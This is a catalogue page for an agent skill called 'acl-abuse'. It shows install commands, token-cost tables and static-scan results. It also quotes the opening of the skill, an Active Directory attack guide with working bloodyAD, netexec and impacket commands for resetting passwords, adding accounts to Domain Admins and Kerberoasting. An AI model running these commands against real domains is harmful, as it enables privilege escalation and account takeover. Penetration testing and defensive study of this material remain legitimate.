Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ADScanPro/Claude-AD --skill acl-abusegit clone --depth 1 https://github.com/ADScanPro/Claude-ADWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/adscanpro/claude-ad/acl-abuse)<a href="https://agentmods.dev/skills/adscanpro/claude-ad/acl-abuse"><img src="https://agentmods.dev/badge/skills/adscanpro/claude-ad/acl-abuse.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 3 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00120 | $0.02923 |
| Opus 5 | $0.00060 | $0.01461 |
| Sonnet 5 | $0.00024 | $0.00585 |
| Haiku 4.5 | $0.00012 | $0.00292 |
Grade A, and why
acl-abuse scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 203 lines — stays where its author put it; the contents beside it link to each section on GitHub.
ACL Abuse
Active Directory permissions are a graph. A single misconfigured Access Control Entry (ACE), say a low-priv user with GenericAll over a group, WriteDacl over a computer, or WriteOwner over an OU, is a directed edge you can walk from where you are toward Domain Admin. This skill turns those edges into concrete commands with bloodyAD and impacket, after BloodHound CE (Apache-2.0, genuinely open source) has drawn the path.
Find the paths first (BloodHound CE). Collect with a standard collector, import into BloodHound CE, and look at the outbound control edges from your owned principal: GenericAll, GenericWrite, WriteDacl, Owns/WriteOwner, AddMember, ForceChangePassword, AllExtendedRights, and DCSync. Pre-built queries like "Shortest paths from Owned principals" and "Find principals with DCSync rights" hand you the chain.
Collect edges with a standard collector, for example:
nxc ldap 10.0.0.10 -u user -p 'Password123' --bloodhound --collection All --dns-server 10.0.0.10
or run rusthound-ce / SharpHound CE and import the ZIP into BloodHound CE.
GenericAll
MITRE ATT&CK: T1222 (Permission Modification) / T1098 (Account Manipulation)
What it is. Full control over the target object. What you do with it depends on the target type:
- Over a user: reset their password (ForceChangePassword) or set an SPN and Kerberoast them (targeted roasting), or set
DONT_REQ_PREAUTHand AS-REP roast. - Over a group: add yourself as a member (AddMember).
- Over a computer: write RBCD (
msDS-AllowedToActOnBehalfOfOtherIdentity) and impersonate (see the Kerberos skill).
Reset a user's password:
bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
set password TARGETUSER 'NewPass123!'
Add yourself to a group:
bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
add groupMember 'Domain Admins' owneduser
Targeted Kerberoast (set an SPN you control, then roast, see Kerberos skill):
bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
set object TARGETUSER servicePrincipalName -v 'fake/svc'
GetUserSPNs.py -request-user TARGETUSER -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 203 lines · 120 tokens per session scan A 4a11b6b130a8
acl-abuse is a skill published in the GitHub repository ADScanPro/Claude-AD (174 stars, last pushed 14d ago), licensed MIT. It adds 120 tokens to every session and 2,923 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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